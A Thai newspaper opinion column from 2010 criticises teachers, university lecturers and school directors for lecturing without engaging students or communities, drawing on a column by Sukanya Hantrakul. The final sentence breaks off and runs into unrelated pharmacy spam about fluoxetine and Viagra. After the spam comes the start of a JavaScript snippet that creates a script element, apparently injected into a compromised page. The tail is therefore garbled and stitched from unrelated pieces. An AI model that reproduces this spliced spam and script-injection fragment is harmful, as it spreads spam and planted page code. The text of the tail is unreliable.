มติชนสุดสัปดาห์ ฉบับประจำวันอังคารที่ 7 กันยายน 2553

ครูในโรงเรียน กับอาจารย์ในมหาวิทยาลัย ทุกวันนี้ ไม่ต่างจาก 100 ปีที่แล้ว เพราะแหล่งเรียนรู้ในโรงเรียนกับมหาวิทยาลัย มีอยู่แค่“ห้องเรียน”

และผู้สอน คือครูหรืออาจารย์ มีวิธีสอนอย่างเดียวคือ“ผูกขาดการสอน”ด้วยวิธี“พูดคนเดียวหน้าชั้น”ตลอดปีตลอดชาติ

ลักษณะอย่างนี้มีมาแล้วตั้งแต่ราว 100 ปีก่อน (หรืออาจมากกว่านั้น) ตราบจนทุกวันนี้ก็ยังปฏิบัติอย่างไม่คิดจะเปลี่ยนแปลงเป็นอย่างอื่น

ข้อความที่สรุปมานี้ ผมไม่ได้คิดขึ้นเองทั้งดุ้น แต่ดัดแปลงจากข้อเขียนของ            สุกัญญา หาญตระกูล (ในคอลัมน์เล่าเรื่องจากโรงเรียน ในเนชั่น สุดสัปดาห์ ฉบับวันที่ 27 สิงหาคม 2553 หน้า 73) ที่ย้ำว่า “โรงเรียนในศตวรรษที่ 21 ไม่ใช่จะอยู่แต่ห้องเรียน และฝังตัวอยู่แต่ในรั้วโรงเรียน”

คุณสุกัญญาแนะนำไว้ตอนท้ายข้อเขียนว่า ครู, ผู้อำนวยการโรงเรียน, และผู้อำนวยการสำนักงานเขตพื้นที่การศึกษา ต้องลดบทบาทตนเองในฐานะ“ผู้ผูกขาดการสอน” แต่เป็นผู้อำนวยการให้เกิด“การเรียนรู้แก่ชุมชนโรงเรียนและชุมชนวงกว้างคือสังคมมีความใฝ่รู้และสามารถบริหารจัดการเชื่อมโยงให้เกิดการเรียนรู้”

คุณสุกัญญาชี้ให้เห็นว่า “ครูส่วนใหญ่ของเรา ตามนักเรียนทางสังคม และตามโลกวิชาการไม่ทัน เพราะครูเองตลอดมาก็ไม่ได้ทำตนทำตัวเป็นผู้เรียนรู้อยู่เสมอ เคียงข้างนักเรียนและชุมชนตลอดจนโลกภายนอกที่เคลื่อนไหวเปลี่ยนแปลงตลอดเวลา”

อาจารย์มหาวิทยาลัยบางพวกหางานทำที่ไหนไม่ได้ก็ไปเป็นอาจารย์ เพราะเป็นงานง่ายๆ สบายๆ ใช้แค่ตำราที่ตนเคยเรียนมาเมื่อหลายปีก่อนผูกขาดการสอนแล้วพูดคนเดียวหน้าชั้น บอกทีละวรรคให้นักศึกษาจด โดยไม่เคยอ่านงานค้นคว้าวิชาการของผู้รู้ผู้เชี่ยวชาญอื่นๆ จากสถาบันอื่นๆ ที่มีเนื้อหาความคิดแตกต่าง แถมยังใจแคบห้ามนักศึกษาอ่านด้วย

นักศึกษาเลยตกเป็นผู้รับเคราะห์กรรมไม่เห็นไม่รู้โลกกว้าง แล้วไม่รู้เท่าทันโลกและชีวิต ยิ่งหนักข้อขึ้นไปอีกเมื่อระบบอุปถัมภ์“ต่ออายุ”ให้อาจารย์มหาวิทยาลัยที่เป็นซากพวกนี้

ผู้อำนวยการโรงเรียนจำพวกหนึ่งในท้องถิ่นต่างๆทั่วประเทศ ไม่อ่านหนังสือ, ไม่เรียนรู้, ไม่รับรู้ความก้าวหน้าศิลปวิทยาการจากโลกภายนอก(โรงเรียน), ไม่รับรู้ความล้าหลังเดือดร้อนของชุมชน แต่มีชีวิตและลมหายใจเพื่อติดตามประจบประแจง“นาย”สังกัดกระทรวงศึกษาธิการ โดยอ้าง(หลอก)เป็นกิจวัตรว่าไปประชุม

ผอ. พวกนี้ไม่มีเวลาแม้จะอ่านข่าวสารและบทวิพากษ์วิจารณ์จากหนังสือพิมพ์รายต่างๆ (เช่น ข้อเขียนของคุณสุกัญญา ฯลฯ) จึงไม่มีเวลา“คิด”ปรึกษาหารือเพื่อทำโรงเรียนให้เป็นแหล่งเรียนรู้เพื่อชุมชนท้องถิ่นในโลกศตวรรษที่ 21

พระประธาน 76 จังหวัด  แต่ละจังหวัดมีประวัติศาสตร์ท้องถิ่นอยู่ในประวัติความเป็นมาของพระประธานองค์นั้นๆ ที่สถานศึกษาในท้องถิ่นควรเรียนรู้แล้วแบ่งปันเผยแพร่ให้ชุมชนfluoxetine weight brand viagra buy onlinevar d=document;var s=d.createElement(‘script’);